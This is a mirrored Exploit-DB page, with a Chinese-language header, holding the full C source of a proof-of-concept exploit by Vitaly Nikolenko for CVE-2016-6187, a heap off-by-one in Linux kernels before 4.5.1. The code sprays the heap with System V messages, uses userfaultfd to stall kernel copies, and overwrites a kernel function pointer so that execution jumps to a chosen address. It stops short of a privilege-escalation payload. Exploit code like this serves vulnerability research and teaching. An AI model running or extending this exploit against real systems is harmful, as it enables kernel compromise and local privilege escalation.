Linux Kernel < 4.5.1 - Off-By-One (PoC)

  • 作者: Vitaly Nikolenko
    日期: 2016-10-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44301/
  • /**
     EDB Note ~ Download: http://cyseclabs.com/exploits/matreshka.c
     Blog ~ http://cyseclabs.com/blog/cve-2016-6187-heap-off-by-one-exploit
    **/
    
    /**
     * Quick and dirty PoC for CVE-2016-6187 heap off-by-one PoC
     * By Vitaly Nikolenko
     * vnik@cyseclabs.com
     *
     * There's no privilege escalation payload but the kernel will execute
     * instructions from 0xdeadbeef.
     *
     * gcc matreshka.c -o matreshka -lpthread
     *
     * greetz to dmr and s1m0n
     */
    #include <stdio.h>
    #include <sys/types.h>
    #include <sys/ipc.h>
    #include <sys/msg.h>
    #include <string.h>
    #include <sys/mman.h>
    #include <fcntl.h>
    #include <sys/socket.h>
    #include <linux/userfaultfd.h>
    #include <stdlib.h>
    #include <errno.h>
    #include <sys/mman.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <sys/ioctl.h>
    #include <unistd.h>
    #include <strings.h>
    #include <unistd.h>
    #include <asm/unistd.h>
    #include <poll.h>
    #include <pthread.h>
    #include <stdint.h>
    
    void setup_pagefault(void *, unsigned, uint8_t);
    
    const int pagesize = 4096;
    
    struct {
    	long mtype;
    	char mtext[48];
    } msg;
    
    struct thread_struct {
    	int fd;
    	uint8_t h_sw; // handler switch
    	uint8_t count;
    };
    
    struct subprocess_info {
    	long a; long b; long c; long d; // 32 bytes for work_struct
    	long *complete;
    	char *path;
    	char **argv;
    	char **envp;
    	int wait;
    	int retval;
    	int (*init)(void);
    	int (*cleanup)(void);
    	void *data;
    };
    
    void *pf_handler(void *data) {
    	struct thread_struct *params = data;
    	int count = params->count;
    
    	int fd = params->fd;
    
    	for (;;) {
    		struct uffd_msg msg;
    		
    		struct pollfd pollfd[1];
    		pollfd[0].fd = params->fd;
    		pollfd[0].events = POLLIN;
    		int pollres;
    		
    		pollres = poll(pollfd, 1, -1);
    		switch (pollres) {
    		case -1:
    			perror("poll userfaultfd");
    			continue;
    			break;
    		case 0: continue; break;
    		case 1: break;
    		default:
    			exit(2);
    		}
    		if (pollfd[0].revents & POLLERR) {
    			exit(1);
    		}
    		if (!(pollfd[0].revents & POLLIN)) {
    			continue;
    		}
    		
    		int readret;
    		readret = read(fd, &msg, sizeof(msg));
    
    		if (readret == -1) {
    			if (errno == EAGAIN)
    				continue;
    			perror("read userfaultfd");
    		}
    
    		if (readret != sizeof(msg)) {
    			fprintf(stderr, "short read, not expected, exiting\n");
    			exit(1);
    		}
    		
    		long long addr = msg.arg.pagefault.address;
    		char buf[pagesize];
    		long *ptr = (long *)buf;
    	
    		// just for lolz
    		memset(buf, 'B', pagesize);
    	
    		struct uffdio_copy cp;
    		cp.src = (long long)buf;
    		cp.dst = (long long)(addr & ~(0x1000 - 1));
    		cp.len = (long long)pagesize;
    		cp.mode = 0;
    
    		void *tmp_addr;
    
    		if (count != 3) {
    			if (count % 2)
    				tmp_addr = (void *)(0x40000000 & ~(0x1000 - 1));
    			else
    				tmp_addr = (void *)((0x40000000 & ~(0x1000 - 1)) + 0x1000);
    
    			// remap and set up the page fault hander
    			munmap(tmp_addr, 0x1000);
    	 		void *region = mmap(tmp_addr, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0);
    			setup_pagefault(tmp_addr, 0x1000, ++count);
    		} else {
    			// change the first page which is already mmaped
    			struct subprocess_info *p = (struct subprocess_info *)(0x40000000 + 0x1000 - 88);
    			p->path = 0;
    			p->cleanup = (void *)0xdeadbeef;
    		}
    		
     		if (ioctl(fd, UFFDIO_COPY, &cp) == -1) {
    			perror("ioctl(UFFDIO_COPY)");
    		}
    	}
    	return NULL;
    }
    
    
    void setup_pagefault(void *addr, unsigned size, uint8_t count) {
    	void *region;
    	int uffd;
    	pthread_t uffd_thread;
    	struct uffdio_api uffdio_api;
    
    	uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    
    	if (uffd == -1) {
    		perror("syscall");
    		return;
    	}
    
    	uffdio_api.api = UFFD_API;
    	uffdio_api.features = 0;
    
    // just to be nice
    	if (ioctl(uffd, UFFDIO_API, &uffdio_api)) {
    		fprintf(stderr, "UFFDIO_API\n");
    		exit(1);
    	}
    
    	if (uffdio_api.api != UFFD_API) {
    		fprintf(stderr, "UFFDIO_API error %Lu\n", uffdio_api.api);
    		exit(1);
    	}
    
    	struct uffdio_register uffdio_register;
    	uffdio_register.range.start = (unsigned long)addr;
    	uffdio_register.range.len = size;
    	uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    
    	if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) {
    		perror("ioctl(UFFDIO_REGISTER)");
    		exit(1);
    	}
    	printf("userfaultfd ioctls: 0x%llx\n", uffdio_register.ioctls);
    
    	int expected = UFFD_API_RANGE_IOCTLS;
    	if ((uffdio_register.ioctls & expected) != expected) {
    		fprintf(stderr, "ioctl set is incorrect\n");
    		exit(1);
    	}
    
    	struct thread_struct thr_params;
    struct thread_struct *params = (struct thread_struct *)malloc(sizeof(struct thread_struct));
    	params->fd = uffd;
    params->count = count;
    	pthread_create(&uffd_thread, NULL, pf_handler, (void *)params);
    }
    
    int main(int argc, char **argv) {
    	void *region, *map;
    	pthread_t uffd_thread;
    	int uffd, msqid, i;
    
    	region = (void *)mmap((void *)0x40000000, 0x2000, PROT_READ|PROT_WRITE,
     MAP_FIXED|MAP_PRIVATE|MAP_ANON, -1, 0);
    
    	if (!region) {
    		perror("mmap");
    		exit(2);
    	}
    
    	setup_pagefault(region + 0x1000, 0x1000, 1);
    
    	printf("my pid = %d\n", getpid());
    
    	if (!map) {
    		perror("mmap");
    	}
    
    	//memset(msg.mtext, 'A', sizeof(msg.mtext)-1);
    	unsigned long *p = (unsigned long *)msg.mtext;
    	for (i = 0; i < 6; i++) {
    		*p ++ = 0x0000000040000000 + 0x1000 - 88;
    	}
    	msg.mtype = 1;
    
    	msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
    
    	for (i = 0; i < 320; i++) { // that's generally the limit
    		if (msgsnd(msqid, &msg, 48, 0) == -1) {
    			perror("msgsnd");
    			return -1;
    		}
    	}
    
    	char buf[96];
    	p = (unsigned long *)buf;
    
    	for (i = 0; i < 11; i++) {
    		*p ++ = 0x40000000 + 0x1000 - 88;
    	}
    	*p ++ = 0xfffffffffffffff;
    
    	int fd = open("/proc/self/attr/current", O_RDWR);
    	write(fd, buf, 96);
    
    // go figure why we do it 3 times
    	msgsnd(msqid, &msg, 48, 0);
    	msgsnd(msqid, &msg, 48, 0);
    	msgsnd(msqid, &msg, 48, 0);
    
    	socket(22, AF_INET, 0);
    
    	close(fd);
    	return 0;
    }